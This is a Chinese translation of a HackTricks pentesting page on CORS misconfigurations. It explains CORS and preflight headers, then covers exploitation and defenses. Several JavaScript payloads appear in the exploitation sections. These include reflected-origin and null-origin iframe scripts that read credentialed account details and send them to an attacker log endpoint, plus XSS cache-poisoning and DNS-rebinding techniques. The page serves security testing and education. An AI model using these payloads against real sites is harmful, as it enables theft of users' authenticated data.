24 KiB
CORS - 配置错误与绕过
从零开始学习AWS黑客技术,成为 htARTE (HackTricks AWS红队专家)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或以PDF格式下载HackTricks,请查看订阅计划!
- 获取官方的PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
什么是CORS?
CORS(跨源资源共享)标准之所以需要,是因为它允许服务器指定谁可以访问其资源以及允许来自外部资源的哪些HTTP请求方法。
同源策略要求请求资源的服务器和存放资源的服务器使用相同的协议(http://),域名 (internal-web.com) 和相同的端口 (80)。因此,如果服务器强制执行同源策略,那么只有来自相同域名和端口的网页才能访问资源。
下表显示了在http://normal-website.com/example/example.html
中如何应用同源策略:
访问的URL | 是否允许访问? |
---|---|
http://normal-website.com/example/ |
是:相同的方案、域名和端口 |
http://normal-website.com/example2/ |
是:相同的方案、域名和端口 |
https://normal-website.com/example/ |
否:不同的方案和端口 |
http://en.normal-website.com/example/ |
否:不同的域名 |
http://www.normal-website.com/example/ |
否:不同的域名 |
http://normal-website.com:8080/example/ |
否:不同的端口* |
*Internet Explorer会允许此访问,因为IE在应用同源策略时不考虑端口号。
Access-Control-Allow-Origin
头
Access-Control-Allow-Origin
的规范允许多个源,或值**null
,或通配符*
。然而,没有浏览器支持多个源,并且对使用通配符*
有限制**。(通配符只能单独使用,这将失败 Access-Control-Allow-Origin: https://*.normal-website.com
并且它不能与 Access-Control-Allow-Credentials: true 一起使用)
当网站请求跨域资源时,带有浏览器添加的Origin
头的这个头是由服务器返回的。
Access-Control-Allow-Credentials
头
跨源资源请求的默认行为是请求被传递而不带凭证,如cookies和Authorization头。然而,跨域服务器可以通过设置CORS Access-Control-Allow-Credentials
头为 true
,允许读取当凭证被传递给它时的响应。
如果值设置为true
,那么浏览器将发送凭证(cookies, authorization头或TLS客户端证书)。
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');
预检请求
在某些情况下,当一个跨域请求:
- 包含非标准HTTP方法(HEAD, GET, POST)
- 包含新的头部
- 包含特殊的Content-Type头部值
{% hint style="info" %} 检查此链接中的请求条件,以避免发送预检请求 {% endhint %}
跨域请求之前会有一个使用**OPTIONS
** 方法的请求,CORS协议需要先检查在允许跨域请求之前哪些方法和头部是被允许的。这称为预检查。服务器返回允许的方法列表,以及可信来源,然后浏览器检查请求网站的方法是否被允许。
{% hint style="danger" %} 注意,即使因为"常规请求"条件得到尊重而没有发送预检请求,响应也需要有授权头部,否则浏览器将无法读取请求的响应。 {% endhint %}
例如,这是一个预检请求,它试图使用PUT
方法,并且带有一个名为Special-Request-Header
的自定义请求头部:
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
服务器可能会返回如下响应:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
Access-Control-Allow-Headers
允许的头部Access-Control-Expose-Headers
Access-Control-Max-Age
定义缓存预检响应以供重用的最大时间框架Access-Control-Request-Headers
跨域请求希望发送的头部Access-Control-Request-Method
跨域请求希望使用的方法Origin
跨域请求的来源(由浏览器自动设置)
请注意,通常(取决于设置的内容类型和头部),在 GET/POST 请求中不会发送预检请求(请求会直接发送),但如果您想要访问响应的头部/正文,它必须包含一个允许的 Access-Control-Allow-Origin 头部。
因此,CORS 并不防护 CSRF(但它可能有帮助)。
本地网络请求 预检请求
当请求发送到本地网络 IP 地址时,会发送 2 个额外的 CORS 头部:
Access-Control-Request-Local-Network
客户端请求头部表明该请求是一个本地网络请求Access-Control-Allow-Local-Network
服务器响应头部表明资源可以安全地与外部网络共享
有效响应允许本地网络请求 需要在响应中也包含头部 Access-Controls-Allow-Local_network: true
:
HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...
{% hint style="warning" %} 请注意,linux的 0.0.0.0 IP地址可以用来绕过这些要求以访问localhost,因为该IP地址不被视为“本地”。
如果您使用本地端点的公共IP地址(如路由器的公共IP),也可以绕过本地网络要求。因为在多种情况下,即使是在访问公共IP,如果是来自本地网络,也会被授予访问权限。
{% endhint %}
可利用的错误配置
请注意,大多数真实攻击需要设置Access-Control-Allow-Credentials
为true
,因为这将允许浏览器发送凭据并读取响应。没有凭据,许多攻击变得无关紧要;这意味着你不能利用用户的cookies,所以通常没有什么好处,让他们的浏览器发起请求而不是你自己发起。
一个值得注意的例外是,当受害者的网络位置充当一种认证方式时。你可以使用受害者的浏览器作为代理,绕过基于IP的认证,访问内网应用程序。在影响方面,这与DNS重绑定类似,但要利用起来容易得多。
反射的Origin
在Access-Control-Allow-Origin
在现实世界中,这是不可能发生的,因为这两个头部的值是不允许同时使用的。
同样,许多开发者希望在CORS中允许多个URL,但是不允许使用子域通配符或URL列表。然后,一些开发者会动态生成**Access-Control-Allow-Origin
**头部,在不止一个场合中,他们只是复制Origin头部的值。
在这种情况下,相同的漏洞可能会被利用。
在其他情况下,开发者可能会检查域名(victimdomain.com)是否出现在Origin头部中,那么,攻击者可以使用一个名为**attackervictimdomain.com
**的域名来窃取机密信息。
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
null
源
null
是 Origin 头的一个特殊值。规范提到它会在重定向和本地 HTML 文件中被触发。一些应用程序可能会将 null
源列入白名单,以支持应用程序的本地开发。
这很好,因为许多应用程序会允许这个值在 CORS 中,并且任何网站都可以通过使用沙盒化的 iframe 轻松获得 null 源:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Regexp 绕过
如果你发现域名 victim.com 被列入白名单,你应该检查 victim.com.attacker.com 是否也被列入白名单,或者,如果你能接管某个子域名,检查 somesubdomain.victim.com 是否被列入白名单。
高级 Regexp 绕过
大多数用于在字符串中识别域名的正则表达式会关注字母数字 ASCII 字符和 .-
。然后,像 Origin 头中的 victimdomain.com{.attacker.com
会被正则表达式解释为域名是 victimdomain.com
,但浏览器(在这种情况下 Safari 支持域名中的这个字符)会访问域名 attacker.com
。
_
字符(在子域名中)不仅在 Safari 中支持,而且在 Chrome 和 Firefox 中也支持!
因此,使用这些子域名之一,你可以绕过一些“常见”的正则表达式来找到 URL 的主域名。
有关此绕过的更多信息和设置,请查看: https://www.corben.io/advanced-cors-techniques/ 和 https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
来自子域名内的 XSS
开发者使用的一种防御机制是将经常请求访问信息的域名列入白名单,以防止 CORS 漏洞的利用。然而,这并不完全安全,因为如果白名单中的任何一个子域名对其他漏洞如 XSS 是易受攻击的,它可以使 CORS 漏洞利用成为可能。
让我们考虑一个例子,以下代码显示了允许 requester.com 的子域名访问 provider.com 资源的配置。
if ($_SERVER['HTTP_HOST'] == '*.requester.com')
{
//Access data
else{ // unauthorized access}
}
服务器端缓存投毒
如果条件允许,我们可能会通过HTTP头注入利用服务器端缓存投毒来创建一个存储型XSS漏洞。
如果一个应用程序反射了Origin头,甚至没有检查它是否包含非法字符,比如,我们实际上就有了一个针对IE/Edge用户的HTTP头注入漏洞,因为Internet Explorer和Edge将\r (0x0d)视为有效的HTTP头终止符:GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer将响应视为:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
这不是直接可利用的,因为没有办法让攻击者使某人的浏览器发送这样格式错误的头,但我可以在Burp Suite中手动构造这个请求,服务器端缓存可能会保存这个响应并将其提供给其他人。我使用的有效载荷将页面的字符集更改为UTF-7,这对于创建XSS漏洞非常有用。
客户端缓存投毒
你可能偶尔遇到过一个页面,它在自定义HTTP头中反射了反射型XSS。假设一个网页反射了一个自定义头的内容,而没有编码:
GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert\(1\)>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: <svg/onload=alert\(1\)>\
在CORS中,我们可以在Header中发送任何值。本身这是无用的,因为包含我们注入的JavaScript的响应不会被渲染。然而,如果没有指定Vary: Origin,响应可能会被存储在浏览器缓存中,并在浏览器导航到关联URL时直接显示。我制作了一个fiddle来尝试对您选择的URL发起这种攻击。由于这种攻击使用了客户端缓存,它实际上相当可靠。
<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>
绕过
XSSI (跨站脚本包含) / JSONP
XSSI 指的是一种漏洞,它利用了这样一个事实:当使用 script
标签包含资源时,同源策略(SOP)不适用,因为脚本必须能够跨域包含。因此,攻击者可以读取使用 script
标签包含的所有内容。
当涉及到动态 JavaScript 或 JSONP 时,这一点尤其有趣,尤其是当所谓的环境权限信息(如 cookies)用于认证时。请求来自不同主机的资源时,cookies 会被包含进来。BurpSuite 插件:https://github.com/kapytein/jsonp
尝试在请求中添加一个 callback
参数。也许页面已经准备好将数据作为 JSONP 发送。在这种情况下,页面将返回数据,并使用 Content-Type: application/javascript
,这将绕过 CORS 策略。
简单(无用?)绕过
你可以请求一个 web 应用代表你发起一个请求,并将响应发送回来。这将绕过 Access-Control-Allow-Origin
,但请注意,最终受害者的 凭据不会被发送,因为你将会 联系一个不同的域(将为你发起请求的那个)。
CORS-escape 提供了一个 代理,它会 传递 我们的 请求 及其 头部,同时还会 伪造 Origin 头部(Origin = 请求的域)。因此,CORS 策略被绕过。
源代码在 Github 上,所以你可以 自己托管。
xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
[**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape)
代理有点像“传递”你的请求,完全按照你发送的方式。我们可以用另一种方式解决这个问题,这种方式仍然涉及到别人代你发出请求,但这次,**服务器会发出自己的请求,但使用你指定的任何参数。**
### Iframe + 弹出窗口绕过
你可以通过**创建一个iframe**和**从中打开一个新窗口**来**绕过CORS检查**。更多信息请参见以下页面:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### 通过TTL的DNS重绑定
![](<../.gitbook/assets/image (108).png>)
基本上你让**受害者访问你的页面**,然后你更改你的**域名的DNS(IP)**,使其**指向**你的**受害者的网页**。你让你的**受害者在TTL结束时执行**(**JS**)某些操作,这样就会发出新的DNS请求,然后你就能够收集信息(因为你将**用户保持在你的域中**,他不会向受害者服务器发送**任何cookie**,所以这个选项**滥用了受害者IP的特殊权限**)。
即使你将**TTL设置得非常低**(0或1),**浏览器有缓存**会**阻止**你在几秒钟/分钟内**滥用**这一点。
因此,这种技术有助于**绕过明确的检查**(受害者**明确执行DNS请求**以检查域的IP,当机器人被调用时,他将进行自己的请求)。
或者当你可以让一个**用户/机器人在同一个页面上停留很长时间**(这样你就可以**等待**直到**缓存过期**)。
如果你需要快速利用这个漏洞,你可以使用像[https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)这样的服务。
如果你想运行你自己的DNS重绑定服务器,你可以使用像[**DNSrebinder**](https://github.com/mogwailabs/DNSrebinder)**,**然后**暴露**你的**本地端口53/udp**,创建一个**指向它的A记录**(ns.example.com),并创建一个**指向之前创建的A子域的NS记录**(ns.example.com)。\
然后,该子域的任何子域(ns.example.com),都将由你的主机解析。
也可以查看在[**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)运行的**公共服务器**。
### 通过**DNS缓存泛滥**的DNS重绑定
如前一节所述,**浏览器**会将域的IP**缓存更长时间**,超过TTL中指定的时间。然而,有一种方法可以绕过这种防御。
你可以有一个服务工作器,它将**泛滥DNS缓存以强制进行第二次DNS请求**。所以流程将会是这样的:
1. DNS请求响应攻击者地址
2. 服务工作器泛滥DNS缓存(缓存的攻击者服务器名称被删除)
3. 第二次DNS请求这次响应为127.0.0.1
![](<../.gitbook/assets/image (375) (1).png>)
_蓝色是第一次DNS请求,橙色是泛滥。_
### 通过**缓存**的DNS重绑定
如前一节所述,**浏览器**会将域的IP**缓存更长时间**,超过TTL中指定的时间。然而,还有另一种方法可以绕过这种防御。
你可以在**DNS提供商**中为**同一个子域**创建**2个A记录**(或**1个带有2个IP**,取决于提供商),当浏览器检查它们时,他将获得两者。
现在,如果**浏览器**决定**首先使用攻击者IP地址**,**攻击者**将能够**提供**将**执行HTTP请求**到同一个**域**的**有效载荷**。然而,现在攻击者知道了受害者的IP,**他将停止回答受害者浏览器**。
当浏览器发现**域没有响应**时,它将**使用第二个给定的IP**,所以他将**访问一个不同的地方绕过SOP**。攻击者可以利用这一点来**获取信息并泄露它**。
{% hint style="warning" %}
请注意,为了访问localhost,你应该尝试在Windows中重新绑定**127.0.0.1**,在linux中重新绑定**0.0.0.0**。\
像godaddy或cloudflare这样的提供商不允许我使用ip 0.0.0.0,但AWS route53允许我创建一个带有2个IP的A记录,其中一个是"0.0.0.0"
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
{% endhint %}
![](<../.gitbook/assets/image (620) (4).png>)
更多信息可以查看[https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
### 其他常见绕过方法
* 如果**不允许内部IP**,他们可能**忘记禁止0.0.0.0**(在Linux和Mac上有效)
* 如果**不允许内部IP**,用**CNAME**响应指向**localhost**(在Linux和Mac上有效)
* 如果**不允许内部IP**作为DNS响应,你可以响应指向内部服务的**CNAME**,例如www.corporate.internal。
### 武器化的DNS重绑定
你可以在[Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)的演讲中找到更多关于前面绕过技术的信息以及如何使用以下工具。
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)是一个执行[DNS重绑定](https://en.wikipedia.org/wiki/DNS\_rebinding)攻击的工具。它包括将攻击服务器DNS名称的IP地址重新绑定到目标机器的IP地址所需的组件,并提供攻击有效载荷以利用目标机器上的易受攻击软件。
### 针对DNS重绑定的真正保护
* 在内部服务中使用TLS
* 请求认证以访问数据
* 验证Host头
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/):提案,当公共服务器想要访问内部服务器时,总是发送一个预检请求
## **工具**
**模糊可能的CORS策略配置错误**
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
## 参考资料
{% embed url="https://portswigger.net/web-security/cors" %}
{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}
{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}
{% embed url="https://www.codecademy.com/articles/what-is-cors" %}
{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}
{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}
{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}
<details>
<summary><strong>从零开始学习AWS黑客攻击到高手,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
支持HackTricks的其他方式:
* 如果你想在**HackTricks中看到你的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
</details>